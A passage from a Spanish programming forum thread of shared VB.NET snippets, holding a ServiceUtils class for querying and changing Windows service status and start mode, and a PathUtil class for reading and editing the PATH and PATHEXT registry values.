  18. 'ServiceUtils.SetStatus(svcName, ServiceUtils.SvcStatus.Stop, wait:=True, throwOnStatusMissmatch:=True)
  19.  
  20. #End Region
  21.  
  22. #Region " Option Statements "
  23.  
  24. Option Strict On
  25. Option Explicit On
  26. Option Infer Off
  27.  
  28. #End Region
  29.  
  30. #Region " Imports "
  31.  
  32. Imports Microsoft.Win32
  33. Imports System.ServiceProcess
  34.  
  35. #End Region
  36.  
  37. ''' <summary>
  38. ''' Contains related Windows service tools.
  39. ''' </summary>
  40. Public NotInheritable Class ServiceUtils
  41.  
  42. #Region " Enumerations "
  43.  
  44.    ''' <summary>
  45.    ''' Indicates the status of a service.
  46.    ''' </summary>
  47.    Public Enum SvcStatus
  48.  
  49.        ''' <summary>
  50.        ''' The service is running.
  51.        ''' </summary>
  52.        Start
  53.  
  54.        ''' <summary>
  55.        ''' The service is stopped.
  56.        ''' </summary>
  57.        [Stop]
  58.  
  59.    End Enum
  60.  
  61.    ''' <summary>
  62.    ''' Indicates the start mode of a service.
  63.    ''' </summary>
  64.    Public Enum SvcStartMode As Integer
  65.  
  66.        ''' <summary>
  67.        ''' Indicates that the service has not a start mode defined.
  68.        ''' Since a service should have a start mode defined, this means an error occured retrieving the start mode.
  69.        ''' </summary>
  70.        Undefinied = 0
  71.  
  72.        ''' <summary>
  73.        ''' Indicates that the service is to be started (or was started) by the operating system, at system start-up.
  74.        ''' The service is started after other auto-start services are started plus a short delay.
  75.        ''' </summary>
  76.        AutomaticDelayed = 1
  77.  
  78.        ''' <summary>
  79.        ''' Indicates that the service is to be started (or was started) by the operating system, at system start-up.
  80.        ''' If an automatically started service depends on a manually started service,
  81.        ''' the manually started service is also started automatically at system startup.
  82.        ''' </summary>
  83.        Automatic = 2 'ServiceStartMode.Automatic
  84.  
  85.        ''' <summary>
  86.        ''' Indicates that the service is started only manually,
  87.        ''' by a user (using the Service Control Manager) or by an application.
  88.        ''' </summary>
  89.        Manual = 3 'ServiceStartMode.Manual
  90.  
  91.        ''' <summary>
  92.        ''' Indicates that the service is disabled, so that it cannot be started by a user or application.
  93.        ''' </summary>
  94.        Disabled = 4 ' ServiceStartMode.Disabled
  95.  
  96.    End Enum
  97.  
  98. #End Region
  99.  
  100. #Region " Public Methods "
  101.  
  102.    ''' <summary>
  103.    ''' Retrieves all the services on the local computer, except for the device driver services.
  104.    ''' </summary>
  105.    ''' <returns>IEnumerable(Of ServiceController).</returns>
  106.    Public Shared Function GetServices() As IEnumerable(Of ServiceController)
  107.  
  108.        Return ServiceController.GetServices.AsEnumerable
  109.  
  110.    End Function
  111.  
  112.    ''' <summary>
  113.    ''' Gets the name of a service.
  114.    ''' </summary>
  115.    ''' <param name="svcDisplayName">The service's display name.</param>
  116.    ''' <returns>The service name.</returns>
  117.    ''' <exception cref="ArgumentException">Any service found with the specified display name.;svcDisplayName</exception>
  118.    Public Shared Function GetName(ByVal svcDisplayName As String) As String
  119.  
  120.        Dim svc As ServiceController = (From service As ServiceController In ServiceController.GetServices()
  121.                                        Where service.DisplayName.Equals(svcDisplayName, StringComparison.OrdinalIgnoreCase)
  122.                                        ).FirstOrDefault
  123.  
  124.        If svc Is Nothing Then
  125.            Throw New ArgumentException("Any service found with the specified display name.", "svcDisplayName")
  126.  
  127.        Else
  128.            Using svc
  129.                Return svc.ServiceName
  130.            End Using
  131.  
  132.        End If
  133.  
  134.    End Function
  135.  
  136.    ''' <summary>
  137.    ''' Gets the display name of a service.
  138.    ''' </summary>
  139.    ''' <param name="svcName">The service name.</param>
  140.    ''' <returns>The service's display name.</returns>
  141.    ''' <exception cref="ArgumentException">Any service found with the specified name.;svcName</exception>
  142.    Public Shared Function GetDisplayName(ByVal svcName As String) As String
  143.  
  144.        Dim svc As ServiceController = (From service As ServiceController In ServiceController.GetServices()
  145.                                        Where service.ServiceName.Equals(svcName, StringComparison.OrdinalIgnoreCase)
  146.                                        ).FirstOrDefault
  147.  
  148.        If svc Is Nothing Then
  149.            Throw New ArgumentException("Any service found with the specified name.", "svcName")
  150.  
  151.        Else
  152.            Using svc
  153.                Return svc.DisplayName
  154.            End Using
  155.  
  156.        End If
  157.  
  158.    End Function
  159.  
  160.    ''' <summary>
  161.    ''' Gets the status of a service.
  162.    ''' </summary>
  163.    ''' <param name="svcName">The service name.</param>
  164.    ''' <returns>The service status.</returns>
  165.    ''' <exception cref="ArgumentException">Any service found with the specified name.;svcName</exception>
  166.    Public Shared Function GetStatus(ByVal svcName As String) As ServiceControllerStatus
  167.  
  168.        Dim svc As ServiceController =
  169.            (From service As ServiceController In ServiceController.GetServices()
  170.             Where service.ServiceName.Equals(svcName, StringComparison.OrdinalIgnoreCase)
  171.            ).FirstOrDefault
  172.  
  173.        If svc Is Nothing Then
  174.            Throw New ArgumentException("Any service found with the specified name.", "svcName")
  175.  
  176.        Else
  177.            Using svc
  178.                Return svc.Status
  179.            End Using
  180.  
  181.        End If
  182.  
  183.    End Function
  184.  
  185.    ''' <summary>
  186.    ''' Gets the start mode of a service.
  187.    ''' </summary>
  188.    ''' <param name="svcName">The service name.</param>
  189.    ''' <returns>The service's start mode.</returns>
  190.    ''' <exception cref="ArgumentException">Any service found with the specified name.</exception>
  191.    ''' <exception cref="Exception">Registry value "Start" not found for service.</exception>
  192.    ''' <exception cref="Exception">Registry value "DelayedAutoStart" not found for service.</exception>
  193.    Public Shared Function GetStartMode(ByVal svcName As String) As SvcStartMode
  194.  
  195.        Dim reg As RegistryKey = Nothing
  196.        Dim startModeValue As Integer = 0
  197.        Dim delayedAutoStartValue As Integer = 0
  198.  
  199.        Try
  200.            reg = Registry.LocalMachine.OpenSubKey("SYSTEM\CurrentControlSet\Services\" & svcName, writable:=False)
  201.  
  202.            If reg Is Nothing Then
  203.                Throw New ArgumentException("Any service found with the specified name.", paramName:="svcName")
  204.  
  205.            Else
  206.                startModeValue = Convert.ToInt32(reg.GetValue("Start", defaultValue:=-1))
  207.                delayedAutoStartValue = Convert.ToInt32(reg.GetValue("DelayedAutoStart", defaultValue:=0))
  208.  
  209.                If startModeValue = -1 Then
  210.                    Throw New Exception(String.Format("Registry value ""Start"" not found for service '{0}'.", svcName))
  211.                    Return SvcStartMode.Undefinied
  212.  
  213.                Else
  214.                    Return DirectCast([Enum].Parse(GetType(SvcStartMode),
  215.                                                   (startModeValue - delayedAutoStartValue).ToString), SvcStartMode)
  216.  
  217.                End If
  218.  
  219.            End If
  220.  
  221.        Catch ex As Exception
  222.            Throw
  223.  
  224.        Finally
  225.            If reg IsNot Nothing Then
  226.                reg.Dispose()
  227.            End If
  228.  
  229.        End Try
  230.  
  231.    End Function
  232.  
  233.    ''' <summary>
  234.    ''' Gets the start mode of a service.
  235.    ''' </summary>
  236.    ''' <param name="svc">The service.</param>
  237.    ''' <returns>The service's start mode.</returns>
  238.    Public Shared Function GetStartMode(ByVal svc As ServiceController) As SvcStartMode
  239.  
  240.        Return GetStartMode(svc.ServiceName)
  241.  
  242.    End Function
  243.  
  244.    ''' <summary>
  245.    ''' Sets the start mode of a service.
  246.    ''' </summary>
  247.    ''' <param name="svcName">The service name.</param>
  248.    ''' <param name="startMode">The start mode.</param>
  249.    ''' <exception cref="ArgumentException">Any service found with the specified name.</exception>
  250.    ''' <exception cref="ArgumentException">Unexpected value.</exception>
  251.    Public Shared Sub SetStartMode(ByVal svcName As String,
  252.                                   ByVal startMode As SvcStartMode)
  253.  
  254.        Dim reg As RegistryKey = Nothing
  255.  
  256.        Try
  257.            reg = Registry.LocalMachine.OpenSubKey("SYSTEM\CurrentControlSet\Services\" & svcName, writable:=True)
  258.  
  259.            If reg Is Nothing Then
  260.                Throw New ArgumentException("Any service found with the specified name.", paramName:="svcName")
  261.  
  262.            Else
  263.  
  264.                Select Case startMode
  265.  
  266.                    Case SvcStartMode.AutomaticDelayed
  267.                        reg.SetValue("DelayedAutoStart", 1, RegistryValueKind.DWord)
  268.                        reg.SetValue("Start", SvcStartMode.Automatic, RegistryValueKind.DWord)
  269.  
  270.                    Case SvcStartMode.Automatic, SvcStartMode.Manual, SvcStartMode.Disabled
  271.                        reg.SetValue("DelayedAutoStart", 0, RegistryValueKind.DWord)
  272.                        reg.SetValue("Start", startMode, RegistryValueKind.DWord)
  273.  
  274.                    Case Else
  275.                        Throw New ArgumentException("Unexpected value.", paramName:="startMode")
  276.  
  277.                End Select
  278.  
  279.            End If
  280.  
  281.        Catch ex As Exception
  282.            Throw
  283.  
  284.        Finally
  285.            If reg IsNot Nothing Then
  286.                reg.Dispose()
  287.            End If
  288.  
  289.        End Try
  290.  
  291.    End Sub
  292.  
  293.    ''' <summary>
  294.    ''' Sets the start mode of a service.
  295.    ''' </summary>
  296.    ''' <param name="svc">The service.</param>
  297.    ''' <param name="startMode">The start mode.</param>
  298.    Public Shared Sub SetStartMode(ByVal svc As ServiceController,
  299.                                   ByVal startMode As SvcStartMode)
  300.  
  301.        SetStartMode(svc.ServiceName, startMode)
  302.  
  303.    End Sub
  304.  
  305.    ''' <summary>
  306.    ''' Sets the status of a service.
  307.    ''' </summary>
  308.    ''' <param name="svcName">The service name.</param>
  309.    ''' <param name="status">The desired service status.</param>
  310.    ''' <param name="wait">if set to <c>true</c> waits for the status change completition.</param>
  311.    ''' <param name="throwOnStatusMissmatch">
  312.    ''' If set to <c>true</c> throws an error when attempting to start a service that is started,
  313.    ''' or attempting to stop a service that is stopped.
  314.    ''' </param>
  315.    ''' <exception cref="ArgumentException">Any service found with the specified name.;svcName</exception>
  316.    ''' <exception cref="ArgumentException">Cannot start service because it is disabled.</exception>
  317.    ''' <exception cref="ArgumentException">Cannot start service because a dependant service is disabled.</exception>
  318.    ''' <exception cref="ArgumentException">The service is already running or pendng to run it.</exception>
  319.    ''' <exception cref="ArgumentException">The service is already stopped or pendng to stop it.</exception>
  320.    ''' <exception cref="ArgumentException">Unexpected enumeration value.</exception>
  321.    ''' <exception cref="Exception"></exception>
  322.    Public Shared Sub SetStatus(ByVal svcName As String,
  323.                                ByVal status As SvcStatus,
  324.                                Optional wait As Boolean = False,
  325.                                Optional ByVal throwOnStatusMissmatch As Boolean = False)
  326.  
  327.        Dim svc As ServiceController = Nothing
  328.  
  329.        Try
  330.            svc = (From service As ServiceController In ServiceController.GetServices()
  331.                   Where service.ServiceName.Equals(svcName, StringComparison.OrdinalIgnoreCase)
  332.                  ).FirstOrDefault
  333.  
  334.            If svc Is Nothing Then
  335.                Throw New ArgumentException("Any service found with the specified name.", "svcName")
  336.  
  337.            ElseIf GetStartMode(svc) = SvcStartMode.Disabled Then
  338.                Throw New Exception(String.Format("Cannot start or stop service '{0}' because it is disabled.", svcName))
  339.  
  340.            Else
  341.  
  342.                Select Case status
  343.  
  344.                    Case SvcStatus.Start
  345.  
  346.                        Select Case svc.Status
  347.  
  348.                            Case ServiceControllerStatus.Stopped,
  349.                                 ServiceControllerStatus.StopPending,
  350.                                 ServiceControllerStatus.Paused,
  351.                                 ServiceControllerStatus.PausePending
  352.  
  353.                                For Each dependantSvc As ServiceController In svc.ServicesDependedOn
  354.  
  355.                                    If GetStartMode(dependantSvc) = SvcStartMode.Disabled Then
  356.                                        Throw New Exception(String.Format("Cannot start service '{0}' because a dependant service '{1}' is disabled.",
  357.                                                                          svcName, dependantSvc.ServiceName))
  358.                                        Exit Select
  359.                                    End If
  360.  
  361.                                Next dependantSvc
  362.  
  363.                                svc.Start()
  364.                                If wait Then
  365.                                    svc.WaitForStatus(ServiceControllerStatus.Running)
  366.                                End If
  367.  
  368.                            Case ServiceControllerStatus.Running,
  369.                                 ServiceControllerStatus.StartPending,
  370.                                 ServiceControllerStatus.ContinuePending
  371.  
  372.                                If throwOnStatusMissmatch Then
  373.                                    Throw New Exception(String.Format("The service '{0}' is already running or pendng to run it.", svcName))
  374.                                End If
  375.  
  376.                        End Select
  377.  
  378.                    Case SvcStatus.Stop
  379.  
  380.                        Select Case svc.Status
  381.  
  382.                            Case ServiceControllerStatus.Running,
  383.                                 ServiceControllerStatus.StartPending,
  384.                                 ServiceControllerStatus.ContinuePending
  385.  
  386.                                svc.Stop()
  387.                                If wait Then
  388.                                    svc.WaitForStatus(ServiceControllerStatus.Stopped)
  389.                                End If
  390.  
  391.                            Case ServiceControllerStatus.Stopped,
  392.                                 ServiceControllerStatus.StopPending,
  393.                                 ServiceControllerStatus.Paused,
  394.                                 ServiceControllerStatus.PausePending
  395.  
  396.                                If throwOnStatusMissmatch Then
  397.                                    Throw New Exception(String.Format("The service '{0}' is already stopped or pendng to stop it.", svcName))
  398.                                End If
  399.  
  400.                        End Select
  401.  
  402.                    Case Else
  403.                        Throw New ArgumentException("Unexpected enumeration value.", paramName:="status")
  404.  
  405.                End Select
  406.  
  407.            End If
  408.  
  409.        Catch ex As Exception
  410.            Throw
  411.  
  412.        Finally
  413.            If svc IsNot Nothing Then
  414.                svc.Close()
  415.            End If
  416.  
  417.        End Try
  418.  
  419.    End Sub
  420.  
  421. #End Region
  422.  
  423. End Class


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 10 Mayo 2015, 17:08 pm
PathUtil, una class para administrar los directorios de la variable de entorno PATH, y las extensiones de la variable de entorno PATHEXT.

( IMPORTANTE: Esta class depende de mi otra Class RegEdit, que pueden descargar aquí: http://foro.elhacker.net/net/libreria_de_snippets_compartan_aqui_sus_snippets-t378770.0.html;msg2003658#msg2003658 )

(http://i.imgur.com/NxNUnOQ.png)

Código
  1. ' ***********************************************************************
  2. ' Author   : Elektro
  3. ' Modified : 09-April-2015
  4. ' ***********************************************************************
  5. ' <copyright file="PathUtil.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Option Statements "
  11.  
  12. Option Explicit On
  13. Option Strict On
  14. Option Infer Off
  15.  
  16. #End Region
  17.  
  18. #Region " Path Util "
  19.  
  20. Namespace Tools
  21.  
  22.    ''' <summary>
  23.    ''' Contains related PATH and PATHEXT registry tools.
  24.    ''' </summary>
  25.    Public NotInheritable Class PathUtil
  26.  
  27. #Region " Properties "
  28.  
  29.        ''' <summary>
  30.        ''' Gets the registry path of the Environment subkey for the current user.
  31.        ''' </summary>
  32.        ''' <value>The registry path of the Environment subkey for the current user.</value>
  33.        Public Shared ReadOnly Property EnvironmentPathCurrentUser As String
  34.            Get
  35.                Return "HKEY_CURRENT_USER\Environment"
  36.            End Get
  37.        End Property
  38.  
  39.        ''' <summary>
  40.        ''' Gets the registry path of the Environment subkey for all users.
  41.        ''' </summary>
  42.        ''' <value>The registry path of the Environment subkey for all users.</value>
  43.        Public Shared ReadOnly Property EnvironmentPathAllUsers As String
  44.            Get
  45.                Return "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
  46.            End Get
  47.        End Property
  48.  
  49.        ''' <summary>
  50.        ''' Gets the default data of the PATH registry value of a 32-Bit Windows.
  51.        ''' </summary>
  52.        ''' <value>The default data of the PATH registry value of a 32-Bit Windows.</value>
  53.        Public Shared ReadOnly Property DefaultPathDataWin32 As String
  54.            Get
  55.                Return "C:\Windows;C:\Windows\System32;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0"
  56.            End Get
  57.        End Property
  58.  
  59.        ''' <summary>
  60.        ''' Gets the default data of the PATH registry value of a 64-Bit Windows.
  61.        ''' </summary>
  62.        ''' <value>The default data of the PATH registry value of a 64-Bit Windows.</value>
  63.        Public Shared ReadOnly Property DefaultPathDataWin64 As String
  64.            Get
  65.                Return "C:\Windows;C:\Windows\System32;C:\Windows\System32\Wbem;C:\Windows\SysWOW64;C:\Windows\System32\WindowsPowerShell\v1.0"
  66.            End Get
  67.        End Property
  68.  
  69.        ''' <summary>
  70.        ''' Gets the default data of the PATHEXt registry value.
  71.        ''' </summary>
  72.        ''' <value>The default data of the PATHEXt registry value.</value>
  73.        Public Shared ReadOnly Property DefaultPathExtData As String
  74.            Get
  75.                Return ".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE"
  76.            End Get
  77.        End Property
  78.  
  79.        ''' <summary>
  80.        ''' Gets the registry export string format.
  81.        ''' </summary>
  82.        ''' <value>The registry export string format.</value>
  83.        Private Shared ReadOnly Property ExportStringFormat As String
  84.            Get
  85.                Return "Windows Registry Editor Version 5.00{0}{0}" &
  86.                       "[HKEY_CURRENT_USER\Environment]{0}" &
  87.                       """PATH""=""{1}""{0}" &
  88.                       """PATHEXT""=""{2}""{0}{0}" &
  89.                       "[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment]{0}" &
  90.                       """PATH""=""{3}""{0}" &
  91.                       """PATHEXT""=""{4}"""
  92.            End Get
  93.        End Property
  94.  
  95. #End Region
  96.  
  97. #Region " Enumerations "
  98.  
  99.        ''' <summary>
  100.        ''' Specifies the registry user mode.
  101.        ''' </summary>
  102.        Public Enum UserMode
  103.  
  104.            ''' <summary>
  105.            ''' The current user (HKCU).
  106.            ''' </summary>
  107.            Current = 0
  108.  
  109.            ''' <summary>
  110.            ''' All users (HKLM).
  111.            ''' </summary>
  112.            AllUsers = 1
  113.  
  114.        End Enum
  115.  
  116. #End Region
  117.  
  118. #Region " Constructors "
  119.  
  120.        ''' <summary>
  121.        ''' Prevents a default instance of the <see cref="PathUtil"/> class from being created.
  122.        ''' </summary>
  123.        Private Sub New()
  124.        End Sub
  125.  
  126. #End Region
  127.  
  128. #Region " Public Methods "
  129.  
  130.        ''' <summary>
  131.        ''' Gets the default data of the PATH value for the registry of the specified user (as String).
  132.        ''' </summary>
  133.        ''' <returns>The default data of the PATH value for the registry of the specified user.</returns>
  134.        Public Shared Function GetDefaultPathDataString() As String
  135.  
  136.            If Not Environment.Is64BitOperatingSystem Then
  137.                Return DefaultPathDataWin32
  138.            Else
  139.                Return DefaultPathDataWin64
  140.            End If
  141.  
  142.        End Function
  143.  
  144.        ''' <summary>
  145.        ''' Gets the default data of the PATH value for the registry of the specified user (as Enumerable).
  146.        ''' </summary>
  147.        ''' <returns>The default data of the PATH value for the registry of the specified user.</returns>
  148.        Public Shared Function GetDefaultPathDataList() As IEnumerable(Of String)
  149.  
  150.            If Not Environment.Is64BitOperatingSystem Then
  151.                Return DefaultPathDataWin32.Split({";"c}, StringSplitOptions.RemoveEmptyEntries)
  152.            Else
  153.                Return DefaultPathDataWin64.Split({";"c}, StringSplitOptions.RemoveEmptyEntries)
  154.            End If
  155.  
  156.        End Function
  157.  
  158.        ''' <summary>
  159.        ''' Gets the data of the PATH value on the registry of the specified user (as String).
  160.        ''' </summary>
  161.        ''' <param name="userMode">The user mode.</param>
  162.        ''' <returns>The data of the PATH value on the registry of the specified user.</returns>
  163.        ''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
  164.        Public Shared Function GetPathDataString(ByVal userMode As UserMode) As String
  165.  
  166.            Select Case userMode
  167.  
  168.                Case PathUtil.UserMode.Current
  169.                    Return RegEdit.GetValueData(Of String)(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATH")
  170.  
  171.                Case PathUtil.UserMode.AllUsers
  172.                    Return RegEdit.GetValueData(Of String)(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATH")
  173.  
  174.                Case Else
  175.                    Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
  176.  
  177.            End Select
  178.  
  179.        End Function
  180.  
  181.        ''' <summary>
  182.        ''' Gets the data of the PATH value on the registry of the specified user (as Enumerable).
  183.        ''' </summary>
  184.        ''' <param name="userMode">The user mode.</param>
  185.        ''' <returns>The data of the PATH value on the registry of the specified user.</returns>
  186.        Public Shared Function GetPathDataList(ByVal userMode As UserMode) As IEnumerable(Of String)
  187.  
  188.            Return GetPathDataString(userMode).Split({";"c}, StringSplitOptions.RemoveEmptyEntries)
  189.  
  190.        End Function
  191.  
  192.        ''' <summary>
  193.        ''' Gets the data of the PATHEXT value on the registry of the specified user (as String).
  194.        ''' </summary>
  195.        ''' <param name="userMode">The user mode.</param>
  196.        ''' <returns>The data of the PATHEXT value on the registry of the specified user.</returns>
  197.        ''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
  198.        Public Shared Function GetPathExtDataString(ByVal userMode As UserMode) As String
  199.  
  200.            Select Case userMode
  201.  
  202.                Case PathUtil.UserMode.Current
  203.                    Return RegEdit.GetValueData(Of String)(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATHEXT")
  204.  
  205.                Case PathUtil.UserMode.AllUsers
  206.                    Return RegEdit.GetValueData(Of String)(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATHEXT")
  207.  
  208.                Case Else
  209.                    Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
  210.  
  211.            End Select
  212.  
  213.        End Function
  214.  
  215.        ''' <summary>
  216.        ''' Gets data of the data of the PATHEXT value on the registry of the specified user (as Enumerable).
  217.        ''' </summary>
  218.        ''' <param name="userMode">The user mode.</param>
  219.        ''' <returns>The data of the PATHEXT value on the registry of the specified user.</returns>
  220.        Public Shared Function GetPathExtDataList(ByVal userMode As UserMode) As IEnumerable(Of String)
  221.  
  222.            Return GetPathExtDataString(userMode).Split({";"c}, StringSplitOptions.RemoveEmptyEntries)
  223.  
  224.        End Function
  225.  
  226.        ''' <summary>
  227.        ''' Determines whether the PATH value exists on the registry of the specified user.
  228.        ''' </summary>
  229.        ''' <param name="userMode">The user mode.</param>
  230.        ''' <returns><c>true</c> if PATH value exists, <c>false</c> otherwise.</returns>
  231.        ''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
  232.        Public Shared Function PathExists(ByVal userMode As UserMode) As Boolean
  233.  
  234.            Select Case userMode
  235.  
  236.                Case PathUtil.UserMode.Current
  237.                    Return RegEdit.ExistValue(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATH")
  238.  
  239.                Case PathUtil.UserMode.AllUsers
  240.                    Return RegEdit.ExistValue(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATH")
  241.  
  242.                Case Else
  243.                    Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
  244.  
  245.            End Select
  246.  
  247.        End Function
  248.  
  249.        ''' <summary>
  250.        ''' Determines whether the PATHEXT value exists on the registry of the specified user.
  251.        ''' </summary>
  252.        ''' <param name="userMode">The user mode.</param>
  253.        ''' <returns><c>true</c> if PATHEXT value exists, <c>false</c> otherwise.</returns>
  254.        ''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
  255.        Public Shared Function PathExtExists(ByVal userMode As UserMode) As Boolean
  256.  
  257.            Select Case userMode
  258.  
  259.                Case PathUtil.UserMode.Current
  260.                    Return RegEdit.ExistValue(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATHEXT")
  261.  
  262.                Case PathUtil.UserMode.AllUsers
  263.                    Return RegEdit.ExistValue(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATHEXT")
  264.  
  265.                Case Else
  266.                    Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
  267.  
  268.            End Select
  269.  
  270.        End Function
  271.  
  272.        ''' <summary>
  273.        ''' Exports the PATH and PATHEXT values to a target registry file.
  274.        ''' </summary>
  275.        ''' <param name="filepath">The filepath.</param>
  276.        ''' <exception cref="Exception"></exception>
  277.        Public Shared Sub Export(ByVal filepath As String)
  278.  
  279.            Try
  280.                IO.File.WriteAllText(filepath,
  281.                                     String.Format(ExportStringFormat,
  282.                                                   Environment.NewLine,
  283.                                                   GetPathDataString(UserMode.Current),
  284.                                                   GetPathExtDataString(UserMode.Current),
  285.                                                   GetPathDataString(UserMode.AllUsers),
  286.                                                   GetPathExtDataString(UserMode.AllUsers)),
  287.                                     encoding:=System.Text.Encoding.Unicode)
  288.  
  289.            Catch ex As Exception
  290.                Throw
  291.  
  292.            End Try
  293.  
  294.        End Sub
  295.  
  296.        ''' <summary>
  297.        ''' Creates a PATH value on the registry of the specified user and optionally fills the value with the specified data.
  298.        ''' </summary>
  299.        ''' <param name="userMode">The user mode.</param>
  300.        ''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
  301.        Public Shared Sub CreatePath(ByVal userMode As UserMode,
  302.                                     Optional data As String = "")
  303.  
  304.            Try
  305.                Select Case userMode
  306.  
  307.                    Case PathUtil.UserMode.Current
  308.                        RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATH", valueData:=data)
  309.  
  310.                    Case PathUtil.UserMode.AllUsers
  311.                        RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATH", valueData:=data)
  312.  
  313.                    Case Else
  314.                        Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
  315.  
  316.                End Select
  317.  
  318.            Catch ex As Exception
  319.                Throw
  320.  
  321.            End Try
  322.  
  323.        End Sub
  324.  
  325.        ''' <summary>
  326.        ''' Creates a PATHEXT value on the registry of the specified user and optionally fills the value with the specified data..
  327.        ''' </summary>
  328.        ''' <param name="userMode">The user mode.</param>
  329.        ''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
  330.        Public Shared Sub CreatePathExt(ByVal userMode As UserMode,
  331.                                        Optional data As String = "")
  332.  
  333.            Try
  334.                Select Case userMode
  335.  
  336.                    Case PathUtil.UserMode.Current
  337.                        RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATHEXT", valueData:=data)
  338.  
  339.                    Case PathUtil.UserMode.AllUsers
  340.                        RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATHEXT", valueData:=data)
  341.  
  342.                    Case Else
  343.                        Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
  344.  
  345.                End Select
  346.  
  347.            Catch ex As Exception
  348.                Throw
  349.  
  350.            End Try
  351.  
  352.        End Sub
  353.  
  354.        ''' <summary>
  355.        ''' Adds a directory into the PATH registry value of the specified user.
  356.        ''' </summary>
  357.        ''' <param name="userMode">The user mode.</param>
  358.        ''' <param name="directory">The directory path.</param>
  359.        ''' <exception cref="ArgumentException">Directory contains invalid character(s).;directory</exception>
  360.        ''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
  361.        Public Shared Sub AddDirectory(ByVal userMode As UserMode,
  362.                                       ByVal directory As String)
  363.  
  364.            If directory.Any(Function(c As Char) IO.Path.GetInvalidPathChars.Contains(c)) Then
  365.                Throw New ArgumentException(message:="Directory contains invalid character(s).", paramName:="directory")
  366.  
  367.            Else
  368.  
  369.                Select Case userMode
  370.  
  371.                    Case PathUtil.UserMode.Current
  372.                        RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATH",
  373.                                                       valueData:=String.Join(";"c, GetPathDataList(userMode).Concat({directory}).Distinct).Trim(";"c))
  374.  
  375.                    Case PathUtil.UserMode.AllUsers
  376.                        RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATH",
  377.                                                       valueData:=String.Join(";"c, GetPathDataList(userMode).Concat({directory}).Distinct).Trim(";"c))
  378.  
  379.                    Case Else
  380.                        Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
  381.  
  382.                End Select
  383.  
  384.            End If
  385.  
  386.        End Sub
  387.  
  388.        ''' <summary>
  389.        ''' Adds a file extension into the PATHEXT registry value of the specified user.
  390.        ''' </summary>
  391.        ''' <param name="userMode">The user mode.</param>
  392.        ''' <param name="extension">The file extension.</param>
  393.        ''' <exception cref="ArgumentException">Unexpected enumeration value.;userMode</exception>
  394.        Public Shared Sub AddExtension(ByVal userMode As UserMode,
  395.                                       ByVal extension As String)
  396.  
  397.            If Not extension.StartsWith("."c) Then ' Fix extension.
  398.                extension.Insert(0, "."c)
  399.            End If
  400.  
  401.            Select Case userMode
  402.  
  403.                Case PathUtil.UserMode.Current
  404.                    RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathCurrentUser, valueName:="PATHEXT",
  405.                                                   valueData:=String.Join(";"c, GetPathExtDataList(userMode).Concat({extension})).Trim(";"c))
  406.  
  407.                Case PathUtil.UserMode.AllUsers
  408.                    RegEdit.CreateValue(Of String)(fullKeyPath:=EnvironmentPathAllUsers, valueName:="PATHEXT",
  409.                                                   valueData:=String.Join(";"c, GetPathExtDataList(userMode).Concat({extension})).Trim(";"c))
  410.  
  411.                Case Else
  412.                    Throw New ArgumentException(message:="Unexpected enumeration value.", paramName:="userMode")
  413.  
  414.            End Select
  415.  
  416.        End Sub
  417.  
  418.        ''' <summary>
  419.        ''' Deletes a directory from the PATH registry value of the specified user.
  420.        ''' </summary>
  421.        ''' <param name="userMode">The user mode.</param>
  422.        ''' <param name="directory">The directory path.</param>
  423.        Public Shared Sub DeleteDirectory(ByVal userMode As UserMode,
  424.                                          ByVal directory As String)
  425.  
  426.            Dim dirs As IEnumerable(Of String) =
  427.                From dir As String In GetPathDataList(userMode)
  428.                Where Not dir.ToLower.Equals(directory, StringComparison.OrdinalIgnoreCase)
  429.  
  430.            CreatePath(userMode, data:=String.Join(";"c, dirs))
  431.  
  432.        End Sub
  433.  
  434.        ''' <summary>
  435.        ''' Deletes a directory from the PATH registry value of the specified user.
  436.        ''' </summary>
  437.        ''' <param name="userMode">The user mode.</param>
  438.        ''' <param name="index">The directory index, 0 = First.</param>
  439.        ''' <exception cref="IndexOutOfRangeException">Directory index is out of range.</exception>
  440.        Public Shared Sub DeleteDirectory(ByVal userMode As UserMode,
  441.                                          ByVal index As Integer)
  442.  
  443.            Dim dirs As List(Of String) = GetPathDataList(userMode).ToList
  444.  
